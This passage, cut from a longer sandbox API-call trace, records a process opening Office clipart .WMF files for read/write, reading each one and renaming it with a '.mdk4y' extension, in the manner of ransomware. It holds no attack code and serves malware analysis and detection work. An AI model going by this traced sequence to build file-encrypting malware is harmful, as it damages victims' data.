lpPerformanceCount=0x37dee4*=1821498800000) returned 1 [0139.758] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf.mdk4y")) returned 1 [0139.759] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0139.759] AreFileApisANSI () returned 1 [0139.759] GetACP () returned 0x4e4 [0139.759] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH01329_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH01329_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0139.759] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0139.760] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821499000000) returned 1 [0139.760] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1780, lpOverlapped=0x0) returned 1 [0139.779] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821500900000) returned 1 [0139.779] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821500900000) returned 1 [0139.780] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf.mdk4y")) returned 1 [0139.780] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0139.781] AreFileApisANSI () returned 1 [0139.781] GetACP () returned 0x4e4 [0139.781] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH01461_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH01461_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0139.781] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0139.781] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821501100000) returned 1 [0139.781] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1746, lpOverlapped=0x0) returned 1 [0139.791] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821502100000) returned 1 [0139.791] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821502100000) returned 1 [0139.791] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf.mdk4y")) returned 1 [0139.792] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0139.792] AreFileApisANSI () returned 1 [0139.792] GetACP () returned 0x4e4 [0139.792] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH01618_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH01618_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0139.792] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0139.792] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821502200000) returned 1 [0139.792] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1c80, lpOverlapped=0x0) returned 1 [0139.839] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821506900000) returned 1 [0139.839] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821506900000) returned 1 [0139.839] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf.mdk4y")) returned 1 [0139.840] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0139.840] AreFileApisANSI () returned 1 [0139.840] GetACP () returned 0x4e4 [0139.840] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH01759_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH01759_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0139.840] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0139.841] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821507100000) returned 1 [0139.841] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1526, lpOverlapped=0x0) returned 1 [0139.854] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821508400000) returned 1 [0139.854] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821508400000) returned 1 [0139.855] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf.mdk4y")) returned 1 [0139.855] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0139.855] AreFileApisANSI () returned 1 [0139.855] GetACP () returned 0x4e4 [0139.855] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH01875_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH01875_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0139.856] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0139.856] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821508600000) returned 1 [0139.856] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa38, lpOverlapped=0x0) returned 1 [0139.879] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821510900000) returned 1 [0139.879] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821510900000) returned 1 [0139.879] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf.mdk4y")) returned 1 [0139.879] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0139.880] AreFileApisANSI () returned 1 [0139.880] GetACP () returned 0x4e4 [0139.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH01923_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH01923_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0139.880] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0139.880] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821511000000) returned 1 [0139.880] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6852, lpOverlapped=0x0) returned 1 [0139.881] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821511100000) returned 1 [0139.881] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821511100000) returned 1 [0139.882] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf.mdk4y")) returned 1 [0139.882] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0139.882] AreFileApisANSI () returned 1 [0139.882] GetACP () returned 0x4e4 [0139.882] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH02155_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH02155_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0139.882] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0139.882] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821511200000) returned 1 [0139.883] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa90, lpOverlapped=0x0) returned 1 [0139.884] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821511400000) returned 1 [0139.884] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821511400000) returned 1 [0139.884] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf.mdk4y")) returned 1 [0139.884] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0139.884] AreFileApisANSI () returned 1 [0139.884] GetACP () returned 0x4e4 [0139.884] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH02166_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH02166_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0139.884] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0139.885] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821511500000) returned 1 [0139.885] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x52c, lpOverlapped=0x0) returned 1 [0139.898] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821512800000) returned 1 [0139.898] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821512800000) returned 1 [0139.899] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf.mdk4y")) returned 1 [0139.899] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0139.899] AreFileApisANSI () returned 1 [0139.899] GetACP () returned 0x4e4 [0139.899] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH02282_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH02282_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0139.900] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0139.900] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821513000000) returned 1 [0139.900] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1efc, lpOverlapped=0x0) returned 1 [0139.911] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821514100000) returned 1 [0139.911] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821514100000) returned 1 [0139.912] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf.mdk4y")) returned 1 [0139.912] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0139.912] AreFileApisANSI () returned 1 [0139.912] GetACP () returned 0x4e4 [0139.912] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH02298_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH02298_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0139.912] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0139.913] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821514300000) returned 1 [0139.913] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x15b0, lpOverlapped=0x0) returned 1 [0139.915] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821514500000) returned 1 [0139.915] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821514500000) returned 1 [0139.915] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf.mdk4y")) returned 1 [0139.916] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0139.916] AreFileApisANSI () returned 1 [0139.916] GetACP () returned 0x4e4 [0139.916] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH02312_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH02312_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0139.916] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0139.917] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821514700000) returned 1 [0139.917] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x136a, lpOverlapped=0x0) returned 1 [0139.967] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821519700000) returned 1 [0139.967] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821519700000) returned 1 [0139.967] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf.mdk4y")) returned 1 [0139.968] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0139.968] AreFileApisANSI () returned 1 [0139.968] GetACP () returned 0x4e4 [0139.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH02313_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH02313_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0139.968] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0139.968] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821519800000) returned 1 [0139.969] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xc0a, lpOverlapped=0x0) returned 1 [0139.970] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821520000000) returned 1 [0139.970] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821520000000) returned 1 [0139.970] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf.mdk4y")) returned 1 [0139.970] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0139.970] AreFileApisANSI () returned 1 [0139.970] GetACP () returned 0x4e4 [0139.970] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HM00005_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HM00005_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0139.970] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0139.971] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821520100000) returned 1 [0139.971] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5b04, lpOverlapped=0x0) returned 1 [0140.061] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821529100000) returned 1 [0140.061] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821529100000) returned 1 [0140.061] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf.mdk4y")) returned 1 [0140.062] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0140.062] AreFileApisANSI () returned 1 [0140.062] GetACP () returned 0x4e4 [0140.062] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HM00114_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HM00114_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0140.063] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0140.063] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821529300000) returned 1 [0140.063] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5664, lpOverlapped=0x0) returned 1 [0140.093] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821532300000) returned 1 [0140.093] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821532300000) returned 1 [0140.093] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft 